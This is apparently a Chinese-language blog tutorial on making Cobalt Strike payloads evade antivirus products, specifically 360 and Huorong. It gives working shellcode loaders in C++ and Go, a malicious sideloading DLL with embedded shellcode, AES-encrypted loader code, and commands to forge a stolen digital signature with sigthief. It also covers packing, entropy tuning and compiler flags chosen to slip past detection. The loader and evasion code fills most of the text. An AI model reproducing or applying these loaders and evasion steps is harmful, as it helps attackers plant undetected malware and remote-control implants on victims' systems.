编译器与PE文件处理

前言

做免杀时,会遇到shellcode加密了,加载器代码做了动态加载和优化,但是依然会被杀软报毒,所以要对exe进行一定处理。

1、编译参数

2、数字签名

3、详细的版本信息

可以通过控制变量法找到杀软的查杀点,进行定向免杀。

MD和MT的区别

MD (动态链接运行库):程序自己不携带C运行库,借用系统里已经安装好的DLL文件,但是若目标机器中没有对应的DLL,程序将运行失败

MT (静态链接运行库):程序携带C运行库,不依赖外部DLL,但是体积更大

image-20250525093204867

当MD杀的时候,尝试切换MT。

编译器

使用不同的编译器免杀效果也不同

1、VS

2、gcc

3、Intel C++

加数字签名

使用 sigthief.py脚本

1
python sigthief.py -i 360.exe -t shellcode.exe -o shellcode_sign.exe

image-20250525101045353

加数字签名前:360查杀

image-20250525101315732

加数字签名后,过了360

image-20250525101553301

但是签名的确是伪造的

image-20250525102746455

当然也可以进行自签名。

添加资源信息

使用ResourceHakcer.exe工具

image-20250525103617230

添加资源信息前:

添加资源文件后:

image-20250525103739550

但是只加上资源信息是过不了360的,所以最好数字签名和资源信息一块儿加上。

先添加资源文件,再添加数字签名,轻松过360

image-20250525105744109

加壳
upx加壳
1
upx -1~9 shellcode.exe

经测试,upx -9 shellcode.exe过不了360,但是过火绒还是可以的。

Shielden加壳

image-20250525145901941

vmp加壳

image-20250525151107720

检查PE文件的熵值

文件的熵值被用于衡量系统的混乱程度,熵值越大,说明混乱程度越高

熵值的大小也被用域检测PE文件病毒,一般合法软件的熵值在4.8 - 7.2之间

所以加壳后需要看一下文件熵值是否超过7.2

拿vmp加壳后的shellcode.vmp.exe为例

image-20250525152224247

明显高了,所以被360杀了也算正常了。

Shielden加壳PE文件的熵值在 7.66左右

image-20250525152407441

upx加壳1-9的范围在6.799~6.975之间

image-20250525152825541

白加黑

白加黑概念

白:带有有效数字签名的可执行文件,通常为exe文件

黑:恶意代码所在文件,通常为DLL

什么是DLL文件

DLL 中文全程叫做 动态链接库(Dynamic Link Library,简称 DLL)是一种 Windows 操作系统中的 共享文件,包含一系列可供程序共用的函数、数据和资源。DLL 文件中存放的是各类程序的函数实现过 程,当程序需要调用函数时需要先载入DLL,然后取得函数的地址,昀后进行调用。使用DLL文件的好 处是程序不需要在运行之初加载所有代码,只有在程序需要某个函数的时候才从 DLL 中取出。dll 文件 和 exe 文件一样都是 PE 文件

上线原理

白程序 -> 黑DLL -> DLLMain/导出函数 -> 执行shellcode加载器代码 -> CS上线

DLL文件结构

Visual Studio新建项目 - 动态链接库

image-20250525161900389

新建项目目录结构

image-20250525162035438

(1) framework.h

用于包含项目中需要使用的头文件,默认包含<windows.h>

image-20250525162203565

(2) pch.h

预编译标头文件,DLL的导出函数在此处定义

image-20250525162452444

(3) dllmain.cpp

包含程序的入口点,可以理解为入口函数,在dllmain.cpp中实现在pch.h中定义的函数,也可以在其他cpp文件中实现,比如pch.cpp等。

image-20250525162631409

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //当DLL被进程加载时执行,每个进程只初始化一次
case DLL_THREAD_ATTACH: //当线程被创建时调用
case DLL_THREAD_DETACH: //当线程结束时执行
case DLL_PROCESS_DETACH: //当DLL被进程卸载时执行
break;
}
return TRUE; //DLL_PROCESS_ATTACH成功
}

(4) pch.cpp

一般用于存放导出函数

image-20250525162745813

编译一个DLL

pch.cpp中定义导出函数

1
2
3
4
5
6
// pch.cpp: 与预编译标头对应的源文件
#include "pch.h"
// 当使用预编译的头时,需要使用此源文件,编译才能成功。
int sum(int a, int b) {
return a + b;
}

pch.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#ifndef PCH_H
#define PCH_H

// 添加要在此处预编译的标头
#include "framework.h"

#endif //PCH_H

#ifdef Dll1_EXPORTS
#define API_DECLSPECKM _declspec(dllexport)
#else
#define API_DECLSPECKM _declspec(dllimport)
#endif

extern "C" API_DECLSPECKM int sum(int a, int b);

Ctrl + B生成DLL

image-20250525164911727

查看DLL导出函数

Visual Studio 2022自带工具 Visual Studio 2022 Developer Command Prompt

1
dumpbin /exports E:\免杀\Dll1\x64\Release\Dll1.dll

image-20250525165939002

DLL调试

因为DLL文件不能直接运行,所以需要新建一个exe项目对其进行调试

右键【解决方案】 -> 【添加】 -> 【新建项目】

image-20250526084917068

选择新建”控制台应用”,新建后解决方案下就多出了刚刚新建的项目

image-20250526085102466

编写DLLTest.cpp

1
2
3
4
5
6
7
8
9
10
#include <iostream>
#include <Windows.h>
using namespace std;

int main() {
HMODULE dll1 = LoadLibrary(L"Dll1.dll"); //加载Dll1.dll
typedef int(*ptrSum)(int a, int b); //定义一个函数指针类型ptrSum,后续将Dll1.dll中sum函数的地址复制给它
ptrSum sum = (ptrSum)GetProcAddress(dll1, "sum"); //从dll1中获取名为"sum"的函数的地址,并将其赋值给sum函数指针
cout << sum(1, 2) << endl;
}

最后右键【DLLTest】 -> 【设置为启动项目】

image-20250526090152072

最后生成解决方案即可

image-20250526090309318

image-20250526090351037

成功运行

image-20250526091148857

此时进行DLL调试,打断点,需要注意的是,无论是修改代码或打断点后,都需要重新生成解决方案再进行调试

image-20250526091515514

然后点击【Windows本地调试器】进行本地调试

image-20250526091547330

按【F5】退出调试。

白加黑制作上线CS
SkyShadow工具

首先将SkyShadow-main\Tools添加至环境变量

image-20250526092711749

1
python SkyShadow.py "目标文件加路径"

image-20250526092837175

会生成一个Payload目录,其中标有数字签名的可能是我们需要的白程序

image-20250526093142551

尝试运行 identity_helper.exe,发现提示缺少 msedge_elf.dll,无法正常运行

image-20250526093510583

再看生成的.txt文件,标注了缺少的dll和需要的具体函数,按照缺少的东西制作黑DLL即可

image-20250526093810875

制作黑DLL上线CS

直接将导出函数放在dllmain.cpp中即可,直接把txt中写好的导出函数复制过去即可

image-20250526094605855

【生成解决方案】后,将dll文件放至目标exe目录下,运行exe,可以看到两个函数都被调用了

image-20250526095046198

GetInstallDetailsPayload() 被调用

image-20250526095132259

SignalInitializeCrashReporting() 被调用

image-20250526095146224

所以在两个函数中的任意一个写shellcode加载器即可,现尝试弹计算器的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

extern "C" __declspec(dllexport) int GetInstallDetailsPayload() {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";


//1、申请内存
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//2、拷贝 shellcode 到内存
memcpy(addr, buf, sizeof(buf));

//3、执行内存中的shellcode
//创建线程执行
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
//等待线程运行
WaitForSingleObject(hThread, -1);
//关闭线程
CloseHandle(hThread);
}
extern "C" __declspec(dllexport) int SignalInitializeCrashReporting() {
MessageBoxA(NULL, "SignalInitializeCrashReporting", 0, 0); return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

运行exe,直接弹出计算器

image-20250526100259095

将shellcode替换为sgn加密过的上线CS的shellcode,成功上线CS

image-20250526102136207

360查杀过了

image-20250526103257991

image-20250526103349389

实战利用
DLL劫持与DLL代理

**DLL劫持:**一个程序在启动时会加载某个DLL文件,攻击者将那个DLL文件替换为黑DLL,在导出函数中写入shellcode加载器,当受害者运行程序,加载黑DLL文件时便执行shellcode加载代码,攻击者CS上线。

**DLL代理:**程序要调用xxx.dll,攻击者创建了一个黑dll,名字也叫做xxx.dll,这个黑dll文件会接受程序的调用,先执行一些恶意代码,然后这个黑dll再调用真正的xxx.dll完成原视操作。

利用

郑神自研工具:https://github.com/l1uyi/autoDllProxy

Go语言免杀

Go调用Windows api
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package main

import (
"syscall"
"unsafe"
)

func main() {
//1、MustLoadDLL方法 -> 加载Kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")

//2、MustFindProc -> 获取Windows api地址
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
CreateThread := kernel32.MustFindProc("CreateThread")
WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")

//弹计算器shellcode
buf := []byte{0xfc, 0x48, 0x83, ...}

//3、申请内存,通过函数名.Call调用
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40)

//4、复制buf到申请的内存中
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf)))

//5、创建线程
thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)

//6、等待线程创建
WaitForSingleObject.Call(thread, 0xFFFFFFFF)

//关闭 kernel32.dll
kernel32.Release()
}
uinptr

uinptr不是指针,而是一个可以”装下指针地址的整数”,是为了和操作系统底层操作而设计的。

为什么返回3个参数

Call方法如下所示:

1
2
3
func (p *Proc) Call(a ...uintptr) (uintptr, uintptr, error) {
return SyscallN(p.Addr(), a...)
}

返回三个参数,第一个返回参数p.Addr()为Windows api地址

Go编写shellcode加载器
Go语言编译
1
go build main.go -o exp.exe

-o:指定输出文件名

减少体积编译(推荐使用)

1
go build -ldflags="-w -s" -o shellcode.exe main.go

-w:禁用调试信息生成

-s:禁用符号表

隐藏CMD黑窗口(360会误杀)

1
go build -ldflags="-w -s -H windowsgui" -o shellcode.exe main.go

-H windowgui:隐藏CMD黑窗口

隐藏源码路径信息

1
go build -o shellcode.exe -ldflags="-w -s" -trimpath main.go

Go编译一个程序时,会把编译器生成的源码路径,如 /home/user/project/main.go浅入到可执行文件中。

当反编译xxx.exe时,就会看到/home/user/免杀项目/main.go,可能会导致信息泄露,特征命中

-trimpath:隐藏源码路径信息

创建线程执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"syscall"
"unsafe"
)

func main() {
//1、MustLoadDLL方法 -> 加载Kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")

//2、MustFindProc -> 获取Windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
CreateThread := kernel32.MustFindProc("CreateThread")
WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")

buf := []byte{0xe8, 0xa0, 0x03, ...}
//3、申请内存,通过函数名.Call调用
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40)

//4、复制buf到申请的内存中
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf)))

//5、创建线程
thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)

//6、等待线程创建
WaitForSingleObject.Call(thread, 0xFFFFFFFF)

//关闭 kernel32.dll
kernel32.Release()
}
回调函数运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import (
"syscall"
"unsafe"
)

func main() {
//1、MustLoadDLL方法 -> 加载Kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")

//2、MustFindProc -> 获取Windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
CreateThread := kernel32.MustFindProc("CreateThread")
WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")

buf := []byte{0xe8, 0xa0, 0x03, ...}
//3、申请内存,通过函数名.Call调用
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40)

//4、复制buf到申请的内存中
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf)))

//5、回调函数运行
EnumDateFormatsA.Call(addr, 0, 0)

kernel32.Release()
}
本地分离
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package main

import (
"fmt"
"os"
"syscall"
"unsafe"
)

func main() {
byteSlice, err := os.ReadFile("pd_x64.ini")
if err != nil {
fmt.Println("config file is not exist")
return
}
kernel32 := syscall.MustLoadDLL("kernel32.dll")
RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory")
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(byteSlice)), 0x1000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&byteSlice[0])), uintptr(len(byteSlice)))

syscall.Syscall(addr, 0, 0, 0, 0)
}

注意

1
"github.com/spf13/cobra"

已经成为了默认查杀点,所以需要去掉

关闭黑窗口

编译参数消除黑框

1
-H windowsgui

写函数消除黑框

360会杀这种写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import "github.com/gonutz/ide/w32"

func closeWindows(commandShow uintptr) {
console := w32.GetConsoleWindow()
if console != 0 {
_, consoleProcID := w32.GetWindowThreadProcessId(console)
if w32.GetCurrentProcessId() == consoleProcID {
w32.ShowWindowAsync(console, commandShow)
}
}
}

func main() {
closeWindows(w32.SW_HIDE)
}

调用windows api,Win10/Win11

1
2
3
4
5
6
7
8
9
10
11
12
var(
kernel32 = syscall.MustLoadDLL("kernel32.dll")
procFreeConsole = kernel32.MustFindProc("FreeConsole")
)

func HideConsoleWindow() {
procFreeConsole.Call()
}

func main() {
HideConsoleWindow()
}
360免杀绕过

需要知道报QVM错误代表文件结构有问题,而非代码有问题

在360安全卫士【安全操作中心】-> 【上报记录】中可以查看云传检查结果image-20250529085753301

image-20250529090009504

如图所示,云传结果通常有3种,”木马病毒”、”低风险”、”未发现风险”

其中”低风险”基本可以等效于”永久免杀”

而”未发现风险”依然有可能被杀,只是时间问题。

首先要确认免杀思路,一是”.exe”的问题(即编译参数、签名、资源信息等),二是代码本身的问题。

.exe层面免杀

(1) 编译参数

使用工具 CheckGoBuild,使用10中不同的参数进行编译,看哪些会被杀,代码使用打印hello world

image-20250529092144265

image-20250529092617562

“-race”和”-ldflags= -H windowsgui”这两个编译参数可能会被360查杀

推荐使用的编译参数如下

1
go build -o main.exe -ldflags="-w -s" -trimpath main.go

测试去除黑框代码,360不报毒如下所示

1
2
3
4
5
6
7
8
9
10
11
import "github.com/gonutz/ide/w32"

func closeWindows(commandShow uintptr) {
console := w32.GetConsoleWindow()
if console != 0 {
_, consoleProcID := w32.GetWindowThreadProcessId(console)
if w32.GetCurrentProcessId() == consoleProcID {
w32.ShowWindowAsync(console, commandShow)
}
}
}

(2) 其他因素

加签名、加资源文件、加壳、控制熵值等等。

代码层面免杀

(1) 调用windows api的包

之前用的是 syscall 包来调用 windows api

1
2
3
4
5
6
7
8
9
import (
"syscall"
)
func main() {
kernel32 := syscall.MustLoadDLL("kernel32.dll")
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
VirtualAlloc.Call()
kernel32.Release()
}

若 syscall 被查杀,可以换成另一个包 golang.org/x/sys/windows

1
2
3
4
5
6
7
8
9
import (
"golang.org/x/sys/windows"
)

func main() {
kernel32 := windows.MustLoadDLL("kernel32.dll")
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
VirtualAlloc.Call()
}

(2) 加载DLL的方法

除了 MustLoadDLL,还有 NewLazyDLL方法可以使用

1
2
3
MustLoadDLL 和 NewLazyDLL 的区别:
1、返回类型不一样:一个指向 DLL 结构体的指针, 一个指向 LazyDLL 结构体的指针
2、加载时间不一样:MustLoadDLL 在程序启动时就需要加载并使用 DLL, NewLazyDLL 惰性加载, 在程序运行时调用 DLL 函数时才加载 DLL 文件

MustLoadDLL已经被常见杀软标记特征,所以推荐使用 NewLazyDLL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import (
"syscall"
"unsafe"
)

func main() {
kernel32 := syscall.NewLazyDLL("kernel32.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")
buf := []byte{0xe8, 0xa0, 0x03...}
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40)
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
制作360免杀马

shellcode,尝试sgn + aes加密

aes加密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package main

import (
"bytes"
"crypto/aes"
"fmt"
)

func AesEncryptByECB(data []byte, key string) ([]byte, error) {
// 判断 key 长度
keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}}
if _, ok := keyLenMap[len(key)]; !ok {
return nil, fmt.Errorf("invalid key length")
}
// 将 key 转为 []byte
keyByte := []byte(key)
// 创建密码组,长度只能是 16、24、32 字节
block, err := aes.NewCipher(keyByte)
if err != nil {
return nil, err
}
// 获取密钥长度
blockSize := block.BlockSize()
// 补码
originByte := PKCS7Padding(data, blockSize)
// 创建保存加密结果的变量
encryptResult := make([]byte, len(originByte))
// ECB 是把整个明文分成若干段相同的小段,然后对每一小段进行加密
for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize {
block.Encrypt(encryptResult[bs:be], originByte[bs:be])
}
return encryptResult, nil
}

// 补码
func PKCS7Padding(originByte []byte, blockSize int) []byte {
// 计算补码长度
padding := blockSize - len(originByte)%blockSize
// 生成补码
padText := bytes.Repeat([]byte{byte(padding)}, padding)
// 追加补码
return append(originByte, padText...)
}
func AesDecryptByECB(data []byte, key string) ([]byte, error) {
// 判断 key 长度
keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}}
if _, ok := keyLenMap[len(key)]; !ok {
}
// 密钥转为 []byte
keyByte := []byte(key)
// 创建密码组,长度只能是 16、24、32 字节
block, err := aes.NewCipher(keyByte)
if err != nil {
return nil, err
}
// 获取密钥长度
blockSize := block.BlockSize()
// 反解密码 base64
originByte := data
// 创建保存解密变量
decrypted := make([]byte, len(originByte))
for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize {
block.Decrypt(decrypted[bs:be], originByte[bs:be])
}
// 解码
return PKCS7UNPadding(decrypted), nil
}

// 解码
func PKCS7UNPadding(originDataByte []byte) []byte {
length := len(originDataByte)
unpadding := int(originDataByte[length-1])
return originDataByte[:(length - unpadding)]
}
func main() {
// 1-255
key := "1234567890abcdef"
shellcode :=
[]byte{0xe8, 0xa0, 0x03...}
// 加密消息
encrypted, _ := AesEncryptByECB(shellcode, key)
hexData := ""
for _, b := range encrypted {
hexData += fmt.Sprintf("0x%02x,", b)
}
// 移除末尾的逗号和空格
hexData = hexData[:len(hexData)-1]
// 打印16进制数据
fmt.Printf("加密后的消息:\n%s", hexData)
// 解密消息
decrypted, _ := AesDecryptByECB(encrypted, key)
dhexData := ""
for _, b := range decrypted {
dhexData += fmt.Sprintf("0x%02x,", b)
}
// 移除末尾的逗号和空格
dhexData = dhexData[:len(dhexData)-1]
// 打印16进制数据
fmt.Printf("解密后的消息:\n%s", dhexData)
}

写加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package main

import (
"crypto/aes"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40
)

func AesDecryptByECB(data []byte, key string) ([]byte, error) {
// 判断 key 长度
keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}}
if _, ok := keyLenMap[len(key)]; !ok {
}
// 密钥转为 []byte
keyByte := []byte(key)
// 创建密码组,长度只能是 16、24、32 字节
block, err := aes.NewCipher(keyByte)
if err != nil {
return nil, err
}
// 获取密钥长度
blockSize := block.BlockSize()
// 反解密码 base64
originByte := data
// 创建保存解密变量
decrypted := make([]byte, len(originByte))
for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize {
block.Decrypt(decrypted[bs:be], originByte[bs:be])
}
// 解码
return PKCS7UNPadding(decrypted), nil
}

// 解码
func PKCS7UNPadding(originDataByte []byte) []byte {
length := len(originDataByte)
unpadding := int(originDataByte[length-1])
return originDataByte[:(length - unpadding)]
}

func main() {
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory")
CreateThread := kernel32.MustFindProc("CreateThread")
WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
encrypted := []byte{0xaa, 0x85, 0x9d, ...}
key := "1234567890abcdef"
shellcode_buf, _ := AesDecryptByECB(encrypted, key)
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), MEM_COMMIT, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])),
uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL
kernel32.Release()
}

先使用bypassQVM工具添加资源文件信息

1
python QVM250.py -d test -n 10

然后加签名即可

反反复复尝试了很多使用Go写的变形免杀马,只能达到”未发现风险”的效果而非”低风险”,之后是否还要用Go还有待考量。

火绒免杀绕过

火绒的免杀相比360就比较鸡肋了。火绒不杀 “-H windowsgui”

所以可以直接一把梭命令编译

1
go build -o ceshi.exe -ldflags="-w -s -H windowsgui" -trimpath main.go
sss火绒查杀点

(1) shellcode特征,这个sgn/aes这种强加密可以直接过掉

(2) 函数参数,如 0x1000|0x2000 需要替换为 0x1000

创建线程执行即可免杀,代码如上所示,不做赘述。

经过测试,发现火绒还查杀 VirtualAlloc.Call中的参数,直接写0x1000就好

image-20250530093821109

0x1000|0x2000:先预留一段内存,再提交内存

0x1000:直接提交内存

上一页
2025-06-04 14:00:30
下一页